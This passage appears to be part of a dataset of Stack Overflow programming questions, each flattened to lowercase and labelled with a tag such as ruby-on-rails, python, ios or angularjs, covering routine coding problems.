:inputs_interface  class:  form-control   placeholder:  enter interface: (e.g. eth0)  %&gt;       &lt;/div&gt;       &lt;br/&gt;        &lt;%= f.label :inputs_ip_address   input ip address:   class:  col-3 col-form-label  %&gt;       &lt;div class= col-3 &gt;         &lt;%= f.text_field :inputs_ip_address  class:  form-control   placeholder:  enter ip address:  %&gt;       &lt;/div&gt;       &lt;br/&gt;        &lt;%= f.label :inputs_input_type   input type:   class:  col-3 col-form-label  %&gt;       &lt;div class= col-3 &gt;         &lt;%= f.text_field :inputs_input_type  class:  form-control   placeholder:  tcp/udp  %&gt;       &lt;/div&gt;       &lt;br/&gt;        &lt;%= f.label :inputs_port_number   input port number:   class:  col-3 col-form-label  %&gt;       &lt;div class= col-3 &gt;         &lt;%= f.text_field :inputs_port_number  class:  form-control   placeholder:  enter port:  %&gt;       &lt;/div&gt;       &lt;br/&gt;        &lt;%= f.label :inputs_input_name   input name:   class:  col-3 col-form-label  %&gt;       &lt;div class= col-3 &gt;         &lt;%= f.text_field :inputs_input_name  class:  form-control   placeholder:  enter ruleset name)  %&gt;       &lt;/div&gt;       &lt;br/&gt;       &lt;div class= form-inline &gt;         &lt;%= f.label :inputs_tls   enable tls:   class:  col-1 col-form-label  %&gt;         &lt;div class= col-3 &gt;           &lt;%= f.check_box :inputs_tls  class:  form-control check-box-alignment  %&gt;         &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;       &lt;%= f.submit  save input   class:  btn btn-primary btn-lg  %&gt;     &lt;%= link_to  cancel   :back  class:  btn btn-secondary region-btn btn-lg  %&gt; &lt;% end %&gt; &lt;br/&gt; </code></pre>   <strong>routes</strong>   <pre><code>resources :servers do     namespace :features do       resources :rsyslog_inputs       resources :rsyslog  only: :index     end   end    server_features_rsyslog_inputs            get     /servers/:server_id/features/rsyslog_inputs(.:format)          features/rsyslog_inputs#index                                             post    /servers/:server_id/features/rsyslog_inputs(.:format)          features/rsyslog_inputs#create  new_server_features_rsyslog_input          get     /servers/:server_id/features/rsyslog_inputs/new(.:format)      features/rsyslog_inputs#new edit_server_features_rsyslog_input          get     /servers/:server_id/features/rsyslog_inputs/:id/edit(.:format) features/rsyslog_inputs#edit      server_features_rsyslog_input          get     /servers/:server_id/features/rsyslog_inputs/:id(.:format)      features/rsyslog_inputs#show                                             patch   /servers/:server_id/features/rsyslog_inputs/:id(.:format)      features/rsyslog_inputs#update                                             put     /servers/:server_id/features/rsyslog_inputs/:id(.:format)      features/rsyslog_inputs#update                                             delete  /servers/:server_id/features/rsyslog_inputs/:id(.:format)      features/rsyslog_inputs#destroy      server_features_rsyslog_index          get     /servers/:server_id/features/rsyslog_inputs(.:format)          features/rsyslog_inputs#index </code></pre>,ruby-on-rails
how to create a custom text editing control   i need to create a text editing control in c# and i m not sure where to start.    for a bit of context: a c# program is going to edit an xml document (using this control). the xml document can be converted to html.    the xml document will contain the following:   <ul> <li>normal text (obviously)</li> <li>headings (which will be formatted differently)</li> <li>lists</li> <li>images</li> <li>videos (they don t need to be viewed in the control  but there needs to be a box or something to indicate that they re there)</li> </ul>   i want this control to take the xml and render it and act as an wysiwyg editor for the xml.    for the moment  i m not to concerned about implementing all the above details (although they will need to be implemented eventually)  i just want to know where to start with creating this control. should i be inheriting from textboxbase (or textbox) and going from there  and what methods would i need to override  or should i inherit from control (in which case i think i d need to all the text box stuff - selecting text  copy and paste  the caret etc. - myself  which is something i don t really want to do  but i am prepared to do if i have to).    i am aware of preexisting controls like <a href= http://www.textcontrol.com/products/client_side/  rel= nofollow noreferrer >tx text control</a> that do something like what i want (although this one is far more powerful than i need)  but i can t use these (this is for a university project)  and besides  i really do want to know how to make this from scratch.,c#
rails what does this line of code doing  can anybody can explain me this line of code   <pre><code>&lt;% child_nodes = node.is_a (department)   node.offices.where(parent_office_id: nil) : node.branch_offices %&gt; </code></pre>   i am got confused by   :<br> what this is called    :,ruby-on-rails
how does operator precedence and typecasting work here  okay  so i m writing working on pointers here and i m not sure how this piece of code works.   <pre><code>typedef struct linkedlist {     void *obj;     struct linkedlist *next; } linkedlist; linkedlist *p;  //some code here  int *newpointer = (*(int *)(p-&gt;next)-&gt;obj); //code chunk in question </code></pre>   if i need to typecast the void pointer  obj  in the struct pointed to by p->next (assume it already exists) and copy it to  newpointer  int pointer  am i doing it right,c
select into localvariable more then one row <pre><code>create procedure procedure() begin     declare tmp decimal(8 2) ;     select cip.modifier * cip.price * coalesce(cast(cip.quantity as signed)  1) into tmp from customerinvoiceposition cip...     select sum(tmp * (if(cip.type=0 1 0))) from customerinvoiceposition cip...     select sum(tmp * (if(cip.type=1 1 0))) from customerinvoiceposition cip...     select sum(tmp * (if(cip.type=2 1 0))) from customerinvoiceposition cip...     select sum(tmp * (if(cip.type=3 1 0))) from customerinvoiceposition cip...     end; </code></pre>   error: result consisted of more than one row    ok  i understand error message  but is there some solution to store more then one row in a variable/list,mysql
ios app upgrading from existing app  i have an app  it has two versions  a lite version(free) and a pro version(paid).    now my need is to upgrade lite version to pro while go through a link from lite version.    after upgrading the lite version should not be in the device. only pro version should appear in the device.    is it possible to do this  if yes how can i implement this     thank you,ios
how to intercept all touch events and detect it s consumers  how to intercept all touch events within activity  and detect the event s consumer  for simplifying let s assume i have to log all events like this: <code>imageview -&gt; onlongclick()</code>.     the actual problem is actually to detect event s consumer - to intercept all events i can add overlay on the top of activity view  or override <code>dispatchtouchevent(motionevent)</code> in the activity  but i have no idea how to detect consumer of such event.,android
search in data grid view by text box  c# <pre><code>private void datetimepicker1_valuechanged(object sender  eventargs e) {     (datagridview1.datasource as datatable).defaultview.rowfilter = string.format( start_date like  %{0}%    datetimepicker1.value.tostring( yyyy-mm-dd )); } </code></pre>   it s return error:  cannot perform  like  operation on system.datetime and system.string.   pls help.,c#
"how to set background img as slider in bootstrap html  i know some html and css  learning bootstrap right now. i am working on this bootstrap template where  slider  is actually a background img. i would like to make this image to change with other pictures like normal slider would.    here is the code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;section id= main-slider  class= no-margin &gt;
         &lt;div class= carousel slide &gt;      
             &lt;div class= carousel-inner &gt;
                 &lt;div class= item active  style= background-image: url(images/slider/bg1.jpg) &gt;
                     &lt;div class= container &gt;
                         &lt;div class= row slide-margin &gt;
                             &lt;div class= col-sm-6 &gt;
                                 &lt;div class= carousel-content &gt;
                                     &lt;h2 class= animation animated-item-1 &gt;bio&lt;span&gt;shield&lt;/span&gt;&lt;/h2&gt;
                                     &lt;p class= animation animated-item-2 &gt;protimikrobna tehnologija nove generacije&lt;/p&gt;
                                     &lt;a class= btn-slide animation animated-item-3  href= bioshield.html &gt;preberi več&lt;/a&gt;
                                 &lt;/div&gt;
                             &lt;/div&gt;
 
                             
 
                         &lt;/div&gt;
                     &lt;/div&gt;
                 &lt;/div&gt;&lt;!--/.item--&gt;             
             &lt;/div&gt;&lt;!--/.carousel-inner--&gt;
         &lt;/div&gt;&lt;!--/.carousel--&gt;
     &lt;/section&gt;&lt;!--/#main-slider--&gt;</code></pre>
 </div>
 </div>
     is there even a way to work this out",html
redirecting a webpage to new url when old server is shut down  i want to redirect a webpage to new url as it has been migrated to new server. the old server is being shutdown. so is there any way through which a user using old url could be redirected to new one after server shutdown,html
web browser control crashes  i have a web browser object that i to take a screenshot.  the code can be found here: <a href= http://www.vbknowledgebase.com/ id=65&amp;desc=convert-web-page-or-html-to-image  rel= nofollow >http://www.vbknowledgebase.com/ id=65&amp;desc=convert-web-page-or-html-to-image</a> (i have modified it a little).    it appears that if i deploy the application locally and then attempt to capture a screenshot of a local page e.g. <a href= http://localhost/localpage  rel= nofollow >http://localhost/localpage</a>  the program hangs and does not generate a screenshot.  however  if i deploy the application locally and attempt to generate a screenshot of an external website e.g. <a href= http://www.google.co.uk  rel= nofollow >http://www.google.co.uk</a>  it works perfectly.    at first i though it was a problem with the sta (single thread apartment)  so i posted a question about threading but now i am not so sure.  are there any issues with the web browser object requesting local pages  i have looked on msdn and on here but cannot find anything conclusive.    here is the full code:     imagefromhtml.vb   <pre><code>imports microsoft.visualbasic imports system.threading imports system.drawing imports system.windows.forms  public class imagefromhtml     private pageurl as string =  http://localhost/default2.aspx      private convertedimage as bitmap      private m_intheight as integer = 1000     public property height() as integer         get             return m_intheight         end get         set(byval value as integer)             m_intheight = value         end set     end property      private m_intwidth as integer = 100     public property width() as integer         get             return m_intwidth         end get         set(byval value as integer)             m_intwidth = value         end set     end property      public function convertpage() as bitmap         me.pageurl = pageurl         dim thrcurrent as new thread(new threadstart(addressof createimage))         thrcurrent.setapartmentstate(apartmentstate.sta)         thrcurrent.start()         thrcurrent.join()         convertedimage.save( c:\test.bmp   _         system.drawing.imaging.imageformat.bmp)         return convertedimage     end function     public sub createimage()          dim browsepage as new webbrowser()         browsepage.scrollbarsenabled = false         browsepage.navigate(pageurl)         addhandler browsepage.documentcompleted  addressof _ webbrowser_documentcompleted          while browsepage.readystate &lt;&gt; webbrowserreadystate.complete             application.doevents()         end while         browsepage.dispose()     end sub      private sub webbrowser_documentcompleted(byval sender as object  byval e as  _ webbrowserdocumentcompletedeventargs)         dim browsepage as webbrowser = directcast(sender  webbrowser)         browsepage.clientsize = new size(width  height)         browsepage.scrollbarsenabled = false         convertedimage = new bitmap(width  height)         browsepage.bringtofront()         browsepage.drawtobitmap(convertedimage  browsepage.bounds)      end sub      end class </code></pre>    default.aspx.vb   <pre><code>protected sub page_load(byval sender as object  byval e as system.eventargs) handles me.load         dim obj as new imagefromhtml()         obj.convertpage()         obj = nothing     end sub </code></pre>   if i change the pageurl variable to an external website e.g. <a href= http://www.google.co.uk  rel= nofollow >http://www.google.co.uk</a>  it works.  it does not work as it stands above.,asp.net
my script doesn t run when external script file is loaded on local drive  i m making a simple tool - a html file on local drive that s opened via <code>file:///</code>. i need to link a script into it:   <pre><code> &lt;script type= text/javascript  src= file:///c:/.../externam.js &gt;  &lt;script type= text/javascript &gt;   alert( main script! );  &lt;/script&gt; </code></pre>   but the alert never launches (no script does). i tried different scripts. there are no errors in console.    is this normal,javascript
how to convert some elements that satisfy a particular condition in a 2d array into a list in java  <pre><code>import java.util.iterator;  import java.util.list;  import java.util.arraylist;  class onomah {      public static int[][] msp = new int[21][10];          public static void main(string[] args) {       msp[0][0] = 5;     msp[0][1] = 10;     msp[0][2] = 6;     msp[0][3] = 7;     msp[0][4] = 74;     msp[0][5] = 85;     msp[0][6] = 46;     msp[0][7] = 38;     msp[0][8] = 13;     msp[0][9] = 47;     msp[1][0] = 69;     msp[1][1] = 20;     msp[1][2] = 27;     msp[1][3] = 67;     msp[1][4] = 12;     msp[1][5] = 1;     msp[1][6] = 15;     msp[1][7] = 25;     msp[1][8] = 39;     msp[1][9] = 65;     msp[2][0] = 11;     msp[2][1] = 1;     msp[2][2] = 6;     msp[2][3] = 30;     msp[2][4] = 24;     msp[2][5] = 68;     msp[2][6] = 9;     msp[2][7] = 52;     msp[2][8] = 21;     msp[2][9] = 83;     msp[3][0] = 90;     msp[3][1] = 21;     msp[3][2] = 37;     msp[3][3] = 9;     msp[3][4] = 51;     msp[3][5] = 36;     msp[3][6] = 86;     msp[3][7] = 23;     msp[3][8] = 27;     msp[3][9] = 64;     msp[4][0] = 32;     msp[4][1] = 5;     msp[4][2] = 47;     msp[4][3] = 68;     msp[4][4] = 14;     msp[4][5] = 55;     msp[4][6] = 30;     msp[4][7] = 26;     msp[4][8] = 33;     msp[4][9] = 67;     msp[5][0] = 17;     msp[5][1] = 54;     msp[5][2] = 85;     msp[5][3] = 86;     msp[5][4] = 22;     msp[5][5] = 72;     msp[5][6] = 68;     msp[5][7] = 80;     msp[5][8] = 12;     msp[5][9] = 27;     msp[6][0] = 85;     msp[6][1] = 21;     msp[6][2] = 12;     msp[6][3] = 37;     msp[6][4] = 66;     msp[6][5] = 73;     msp[6][6] = 45;     msp[6][7] = 44;     msp[6][8] = 6;     msp[6][9] = 81;     msp[7][0] = 46;     msp[7][1] = 64;     msp[7][2] = 47;     msp[7][3] = 63;     msp[7][4] = 39;     msp[7][5] = 3;     msp[7][6] = 2;     msp[7][7] = 18;     msp[7][8] = 21;     msp[7][9] = 36;     msp[8][0] = 5;     msp[8][1] = 87;     msp[8][2] = 70;     msp[8][3] = 17;     msp[8][4] = 51;     msp[8][5] = 88;     msp[8][6] = 44;     msp[8][7] = 15;     msp[8][8] = 50;     msp[8][9] = 25;     msp[9][0] = 1;     msp[9][1] = 47;     msp[9][2] = 35;     msp[9][3] = 54;     msp[9][4] = 81;     msp[9][5] = 82;     msp[9][6] = 24;     msp[9][7] = 79;     msp[9][8] = 5;     msp[9][9] = 71;     msp[10][0] = 73;     msp[10][1] = 78;     msp[10][2] = 33;     msp[10][3] = 83;     msp[10][4] = 15;     msp[10][5] = 17;     msp[10][6] = 61;     msp[10][7] = 45;     msp[10][8] = 74;     msp[10][9] = 1;     msp[11][0] = 16;     msp[11][1] = 53;     msp[11][2] = 68;     msp[11][3] = 90;     msp[11][4] = 10;     msp[11][5] = 23;     msp[11][6] = 78;     msp[11][7] = 40;     msp[11][8] = 76;     msp[11][9] = 37;     msp[12][0] = 5;     msp[12][1] = 87;     msp[12][2] = 65;     msp[12][3] = 12;     msp[12][4] = 80;     msp[12][5] = 88;     msp[12][6] = 83;     msp[12][7] = 64;     msp[12][8] = 76;     msp[12][9] = 36;     msp[13][0] = 1;     msp[13][1] = 40;     msp[13][2] = 33;     msp[13][3] = 35;     msp[13][4] = 75;     msp[13][5] = 20;     msp[13][6] = 48;     msp[13][7] = 5;     msp[13][8] = 18;     msp[13][9] = 53;     msp[14][0] = 82;     msp[14][1] = 87;     msp[14][2] = 3;     msp[14][3] = 32;     msp[14][4] = 9;     msp[14][5] = 64;     msp[14][6] = 75;     msp[14][7] = 18;     msp[14][8] = 40;     msp[14][9] = 27;     msp[15][0] = 29;     msp[15][1] = 8;     msp[15][2] = 42;     msp[15][3] = 9;     msp[15][4] = 84;     msp[15][5] = 71;     msp[15][6] = 54;     msp[15][7] = 38;     msp[15][8] = 7;     msp[15][9] = 2;     msp[16][0] = 79;     msp[16][1] = 65;     msp[16][2] = 38;     msp[16][3] = 55;     msp[16][4] = 54;     msp[16][5] = 64;     msp[16][6] = 8;     msp[16][7] = 53;     msp[16][8] = 48;     msp[16][9] = 43;     msp[17][0] = 74;     msp[17][1] = 20;     msp[17][2] = 88;     msp[17][3] = 47;     msp[17][4] = 66;     msp[17][5] = 23;     msp[17][6] = 40;     msp[17][7] = 58;     msp[17][8] = 34;     msp[17][9] = 90;     msp[18][0] = 36;     msp[18][1] = 1;     msp[18][2] = 9;     msp[18][3] = 33;     msp[18][4] = 24;     msp[18][5] = 90;     msp[18][6] = 72;     msp[18][7] = 58;     msp[18][8] = 60;     msp[18][9] = 21;     msp[19][0] = 11;     msp[19][1] = 19;     msp[19][2] = 54;     msp[19][3] = 76;     msp[19][4] = 34;     msp[19][5] = 74;     msp[19][6] = 27;     msp[19][7] = 31;     msp[19][8] = 20;     msp[19][9] = 17;     msp[20][0] = 52;     msp[20][1] = 17;     msp[20][2] = 44;     msp[20][3] = 74;     msp[20][4] = 51;     msp[20][5] = 76;     msp[20][6] = 79;     msp[20][7] = 35;     msp[20][8] = 18;     msp[20][9] = 54;      roota0();   }   public static void roota0() {      int d1 = 20;     int d2 = 15;     int a = 7;     int a1 = 6;     int a5 = 1;     int a3 = 0;     int l1 = 0;     int l2 = 1;     int x1 = 0;     int x2 = 5;     int m1 = 0;     int m2 = 5;     int n1 = 0;     int n2 = 5;       for(int d = d1; d &gt; d2; d = d - 1) {            for(int x = x1; x &lt; x2; x = x + 1) {                 for(int l = l1; l &lt; l2; l = l + 1) {                    for(int m = m1; m &lt; m2; m = m +1) {                          for(int n = n1; n &lt; n2; n = n + 1) {                            if(((math.abs(msp[d-a3][l] - msp[d - a5][n])  == math.abs(msp[d-a][x] - msp[d-a1][ m ])) |                 (math.abs(msp[d- a3 ][ l ] + msp[ d - a5 ][ n ]) == math.abs(msp[d- a ][ x ] - msp[d- a1 ][ m ])) |                 (math.abs(msp[d- a3 ][ l ] - msp[ d - a5 ][ n ]) == math.abs(msp[d- a ][ x ] + msp[d- a1 ][ m ])) |                 (math.abs(msp[d- a3 ][ l ] + msp[ d - a5 ][ n ]) == math.abs(msp[d- a ][ x ] + msp[d- a1 ][ m ])))) {           system.out.println(msp[d-a][x]);                              }                           }                          }                         }                        }                       }                      }                     } </code></pre>   the output is: 1 1 1 33 5 87 87 65 65 12 12 80 16 68 90 73 73 33 15 35 35 54    my problem is i don t want to print them but to convert them into a list. i rely on the net to learn. when it gets tough  i can only rely on expert on this platform. i ll be happy if someone can help me out.,java
i want to read all data stored in my ram(word)through c++  what have i done wrong  <pre><code>//program to check content of ram(kernel data ) #include &lt;iostream&gt; using namespace std; int main() {     int *a  b;      while (a != null) //loop till memory end     {         a = &amp;b;         cout &lt;&lt;  ram   &lt;&lt; a &lt;&lt;       &lt;&lt; *a &lt;&lt;  \n ;         b++; //next address     }     return 0;     //output link below } </code></pre>   as you can see  *a  shows output 0 at starting. why  b  holds zero instead of a garbage value     <a href= https://i.stack.imgur.com/ehiem.png  rel= nofollow noreferrer >output</a>,c++
sharing common method implementation between classes implementing the same protocol in objective c  i have a protocol.    myprotocol.h:   <pre><code>@protocol myprotocol   @property(nonatomic  retain) nsstring* somestring;   - (void)doessomethingwithsomestring; @end </code></pre>   and 2 classes that implement the same protocol. for some reason the 2 classes cannot inherit from the same base class. e.g. 1 of them might need to inherit from nsmanagedobject (core data class in apple s cocoa framework) while the other shouldn t.    class1.h:   <pre><code>@interface class1: nsobject&lt;myprotocol&gt; {   nsstring* somestring; }  //some method declarations  @end </code></pre>   class1.m   <pre><code>@implementation class1   @synthesize somestring;    - (void)doessomethingwithsomestring {     //don t use property here to focus on topic     return [[self somestring] capitalizedstring];   }    //method definitions for methods declared in class1 @end </code></pre>   class2.h:   <pre><code>@interface class2: someotherclass&lt;myprotocol&gt; {   nsstring* somestring; }  //some method declarations  @end </code></pre>   class2.m   <pre><code>@implementation class2   @synthesize somestring;    // this is exactly the same as -doessomethingwithsomestring in class1.   - (void)doessomethingwithsomestring {     //don t use property here to focus on topic     return [[self somestring] capitalizedstring];   }    //method definitions for methods declared in class2 @end </code></pre>   how can i avoid the duplication of -doessomethingwithsomestring  (i guess i need something like categories for multiple classes).    update:    there has been some suggestions of a helper class and delegating calls from class1 and class2 to it. it might be a good approach generally  especially if the methods are long.    in this case  i am looking at class1 inheriting from nsobject and class2 inheriting from nsmanagedobject. the latter being a base class that class2 has to subclass from  as a model/entity within the apple core data framework.    so while delegation to a third class is one way to do this  there needs to be a lot of boilerplate delegation wrapper code for what amounts to many short 1-2 methods in the 3rd class. i.e. high boilerplate delegation code to actual code ration.    another point is  as this is a model class  the common code mostly acts on ivars/properties  the delegation class will end up written almost like global c functions..,objective-c
jquery move to next element not working  i ve been working with these for couple days   cant figure out how to make it happen... pls advice    <a href= http://jsfiddle.net/kbspot/fjvhy/  rel= nofollow >http://jsfiddle.net/kbspot/fjvhy/</a>    all thumbs displayed in bottom  when a user clicked on thumb a large preview will show ... i got it working    problem: another thing i would like to add is when a user clicked on the large preview  next thumb (bottom panel) will be selected. but it s not working as i wanted  the next thumb is not selected.   <pre><code>//click on thumbnail (this is working perfectly) $( .panel-bottom li ).click(function () {     var $activetab = $( li.active );             //$activetab.( img ).hide();     $activetab.removeclass( active );            $(this).addclass( active );      //$(this).next().css({ border :  2px solid red }); });  //large preview  click (this is the problem) $( li.active .container ).click(function () {     //alert($(this).parent().html());     var $activetab = $(this);            var $nexttab = $activetab.next();         $(this).removeclass();           $nexttab.addclass( active ); }); </code></pre>   sorry  im not sure how to explain it but im sure you get it  hopefully,jquery
nsnumber as key for nsdictionary  i was wondering how keys work in a nsdictionary.  usually  i will use a nsstring as a key for example:   <pre><code>nsstring *stringkey = @ stringkey ; [mydict objectforkey:stringkey]; </code></pre>   what if i wanted to use a nsnumber:   <pre><code>nsnumber *numberkey = [nsnumber numberwithint:3]; [mydict objectforkey:numberkey]; </code></pre>   does the dictionary go look for the key with number 3   or would it just compare the address of the numberkey,objective-c
i am getting this error when i run the web application  i am getting error when i run the application    <blockquote>    could not load file or assembly    system.web.extensions    version=1.0.61025.0  culture=neutral    publickeytoken=31bf3856ad364e35  or   one of its dependencies. the system   cannot find the file specified.  </blockquote>   this is the error i am getting  when i run the application  i added the new dll and increased the trust level. can you help me please.,asp.net
possible to use form_for in rails to call a model s method and pass arguments into it   let s say i had a model that looked something like this:   <pre><code>class somemodel    def method(var1  var2) do     do.something.with(var1)     do.something.with(var2)   end  end </code></pre>   is it possible to write a form_for within a view in rails that would call <code>method</code> when the person hits submit  and pass values that are set in the input fields as arguments to that method  sorry if this is basic  but i can t seem to figure it out on my own.,ruby-on-rails
when trying to call a function  i got  typeerror:  str  object is not callable   after searching through multiple forums i still cant find an answer that i understand. i am making a simple text game and when writing a part of it i got this:  typeerror:  str  object is not callable. . heres the code:   <pre><code>def tutorial():     print ( in this game your objective is to make out alive from the haunted house of torture. )     print ( in each round  you will be faced with 3 questions  3 choices each question. )     print ( now  are you ready to begin  (yes or no) )     begin = input()     if begin ==  no :         def redo():             print ( oh  than would you like to start the tutorial all over again (yes or no) )             stog = input()             if stog ==  no :                 redo()             if stog ==  yes :                 tutorial()  def start():     print ( hello! would you like to start the tutorial  (yes or no) )     tutorial = input()     if tutorial ==  no :         print ( okay than  lets begin!! )         start()     if tutorial ==  yes :         print ( okay than  lets start the tutorial!! )         tutorial()  start() </code></pre>   the exact error message i got was:   <pre><code>traceback (most recent call last):   file  c:\users\jeff\appdata\local\programs\python\python36-32\tester2.py   line 29  in &lt;module&gt;     start()   file  c:\users\jeff\appdata\local\programs\python\python36-32\tester2.py   line 23  in start     tutorial() typeerror:  str  object is not callable </code></pre>   i get the error after saying  yes  to the first question. help is appreciated  thanks.,python
generating random url in angularjs  i wish to see if it is possible to generate a random link each time an admin visits the admin page.     for example: instead of having: <code>  .com/admin</code>  there would be <code>  .com/a93k</code>  <code>  .com/9dik</code>. the page stays the same but just so the end-user can t access the page from the address bar.    thanks as i am new and do not know how i can implement this.,angularjs
how to find the index of items in list a that are also in list b  i ve got <code>lista</code>  which contains   <pre><code>[0  20  40  60  80  80  100  120  140  160  180  200  220  240  260  280  300  320  340] </code></pre>   and <code>listb</code>  which contains    <pre><code>[87  78343  100  38  100  20  80] </code></pre>   i d like to be able to be able to find the index of the numbers in <code>lista</code> which are also in <code>listb</code>.    for example  <code>lista</code> and <code>listb</code> share 100  100  20  and 80. the index of these integers in <code>lista</code> is    <pre><code>[6  6  1  4  5] </code></pre>   is there a process that will find this for me so i don t have to do it by hand     this is similar to <a href= https://stackoverflow.com/questions/176918/finding-the-index-of-an-item-given-a-list-containing-it-in-python >this question</a>. the difference is that i have to know the index even when it occurs multiple times in either list  while the answer at that link only works on the first example of the instance: i.e. 80 in <code>listb</code> is at [4] and [5] on <code>lista</code>  but the method described would only return [4].,python
python: replace an item in a list with a list of items  in a python program i have a list that i would like to modify:   <pre><code>a = [1 2 3 4 5 1 2 3 1 4 5] </code></pre>   say every time i see 1 in the list  i would like to replace it with 10  9  8. my goal is to get:   <pre><code>a = [10 9 8 2 3 4 5 10 9 8 2 3 10 9 8 4 5] </code></pre>   what s a good way to program this  currently i have to do a  replace  and two  inserts  every time i see a 1 in the list.    thank you!,python
application.css.scss didn t work but others worked  there was a same question at <a href= https://stackoverflow.com/questions/17799056/rails-loads-all-stylesheets-except-application-css-scss >rails loads all stylesheets except application.css.scss</a> and i raised this quesiton cause no solution was given.    as described in title  all other css files worked and application.css.scss was nearly no effect. when i say  nearly  it means there is a little differences after delete application.css.scss i m sorry i have no enough reputation to post images.    please help me...    <strong>application.html.erb</strong>   <pre><code>&lt;!-- start:head --&gt; &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;pragprog books online store&lt;/title&gt;   &lt;%= stylesheet_link_tag     application   media:  all        data-turbolinks-track  =&gt; true %&gt;   &lt;%= javascript_include_tag  application    data-turbolinks-track  =&gt; true %&gt;   &lt;%= csrf_meta_tags %&gt; &lt;/head&gt; &lt;!-- end:head --&gt; &lt;body class= &lt;%= controller.controller_name %&gt; &gt;   &lt;div id= banner &gt;     &lt;%= image_tag( logo.png ) %&gt;     &lt;%= @page_title ||  pragmatic bookshelf  %&gt;   &lt;/div&gt;   &lt;div id= columns &gt;     &lt;div id= side &gt; &lt;!-- start_highlight --&gt;       &lt;div id= cart &gt;         &lt;%= render @cart %&gt;       &lt;/div&gt;  &lt;!-- end_highlight --&gt;       &lt;ul&gt;         &lt;li&gt;&lt;a href= http://www.... &gt;home&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= http://www..../faq &gt;questions&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= http://www..../news &gt;news&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= http://www..../contact &gt;contact&lt;/a&gt;&lt;/li&gt;       &lt;/ul&gt;     &lt;/div&gt;     &lt;div id= main &gt;       &lt;%= yield %&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>application.css.scss</strong>   <pre><code>/* * this is a manifest file that ll be compiled into application.css  which will * include all the files listed below. * * any css and scss file within this directory  lib/assets/stylesheets  * vendor/assets/stylesheets  or vendor/assets/stylesheets of plugins  if any  * can be referenced here using a relative path. * * you re free to add application-wide styles to this file and they ll appear * at the top of the compiled file  but it s generally better to create a new * file per style scope. * *= require_self *= require_tree . */  /* start_highlight */ #banner {   background: #9c9;   padding: 10px;   border-bottom: 2px solid;   font: small-caps 40px/40px  times new roman   serif;   color: #282;   text-align: center;    img {     float: left;   } }  #notice {   color: #000 !important;   border: 2px solid red;   padding: 1em;   margin-bottom: 2em;   background-color: #f0f0f0;   font: bold smaller sans-serif; }  #columns {   background: #141;    #main {     margin-left: 17em;     padding: 1em;     background: white;   }    #side {     float: left;     padding: 1em 2em;     width: 13em;     background: #141;      form  div {       display: inline;     }      input {       font-size: small;     }      #cart {       font-size: smaller;       color: white;        table {         border-top: 1px dotted #595;         border-bottom: 1px dotted #505;         margin-bottom: 10px;       }     }      ul {       padding: 0;       li {         list-style: none;         a {           color: #bfb;           font-size: small;         }       }     }   }   #time {     background: red;     color: red;   } }  .depot_form {   fieldset {     background: #efe;       legend {         color: #dfd;         background: #141;         font-family: sans-serif;         padding: 0.2em 1em;       }     }     form {       label {         width: 5em;         float: left;         text-align: right;         padding-top: 0.2em;         margin-right: 0.1em;         display: block;       }       select  textarea  input {         margin-left: 0.5em;       }       .submit {         margin-left: 4em;       }       br {         display: none       }     }   } </code></pre>,ruby-on-rails
no signing certificate  ios development  found  when i download the developer certificate from apple account and double click so he is not showing a private key in the keychain access.,ios
url in alert body  can we put a tappable link in the alert body  tapping the link should open the mail client. my pressing question is that has anyone tried it and is it accepted by apple.    the alert says <em> please contact helpdesk for more information </em> with an ok button - tap on  helpdesk  and it should open the mail client.,ios
running xcode console  i want to run my iphone app with instruments to check on memory usage  but i also want to be able to see my console output as i go along. is there currently no way to do this  you can only seemingly start either instruments or console in xcode itself.,iphone
how to get a value when an element is clicked and then action a function  i am very proficient in jquery and i just began learning angularjs yesterday. now  there s something i want to do. i want to have like 2 tabs say in form of li elements. i want that when i click the a certain li element  it will set the current one clicked to say an active class which will have a different one from the other li element tab and then remove text in that li element(in jquery its $( li ).text()) and then actions a getjson request to a webservice api. my guess is that the getjson request will be in a controller.    please help with this. i don t know how to even start and what code to write. so if you can provide me with just little code so i can see the syntax as i am not familiar with angularjs syntax yet.     thanks,angularjs
how to save an image to phone memory android  i have a bitmap image i want to be able to save to the phone and have it show up in mediascape.     any ideas on how to do this       thanks.,android
combined two table with different column in mysql server  i am trying to combine two tables with different column names but i can’t get the right result:    <strong>table 1:</strong>   <pre><code>   date                      userid 2015-09-08 23:31:04             3 2015-09-08 23:31:05             3 </code></pre>   <strong>table 2:</strong>   <pre><code>   leave                     userid 2015-09-08 23:31:10             3 </code></pre>   <strong>expected output:</strong>   <pre><code>   userid                leave                    date       3           2015-09-08 23:31:10          3                                    2015-09-08 23:31:04        3                                    2015-09-08 23:31:05  </code></pre>   i used this following query below but the output is not what i need.   <pre><code>  select userid from table1     union all    select userid from table2 </code></pre>   my question is it possible to combine the 2 tables with the output i want  if it s possible could you help me how to do it  thanks,mysql
what is wrong with my angular code  <pre><code>&lt;body&gt; &lt;div data-ng-controller= itemcontroller as store &gt;     &lt;ul class= list-group &gt;         &lt;li class= list-group-item  data-ng-repeat= product in store.product.names &gt;             &lt;h3&gt;{{store.product.name}}                 &lt;em class= pull-right &gt;{{store.product.price}}&lt;/em&gt;         &lt;/h3&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; &lt;script type= text/javascript &gt; (function() {     var app = angular.module( store   []);     app.controller( itemcontroller   function($scope) {         $scope.product = gem;     });      var gem = [{         name:  item1           price: 15     }  {         name:  item2           price: 16     }  {         name:  item3           price: 17     }  {         name:  item4           price: 18     }  {         name:  item5           price: 19     }]; })(); &lt;/script&gt; &lt;!-- &lt;script src= jquery.js &gt;&lt;/script&gt;--&gt; &lt;script src= app.js &gt;&lt;/script&gt; </code></pre>       after viewing the page on my browser and checked the console page  i received this error message    error: [ng:areq] argument  itemcontroller  is not a function  got undefined.,angularjs
a question about the .net garbage collector when cyclic references exist  i m aware that the .net garbage collector detects cyclic references but i was wondering whether cyclic references may cause objects to stay longer than necessary.    i have a cyclic reference in my asp.net app (an intended one for performance related reasons)  can i get away with that     regards,.net
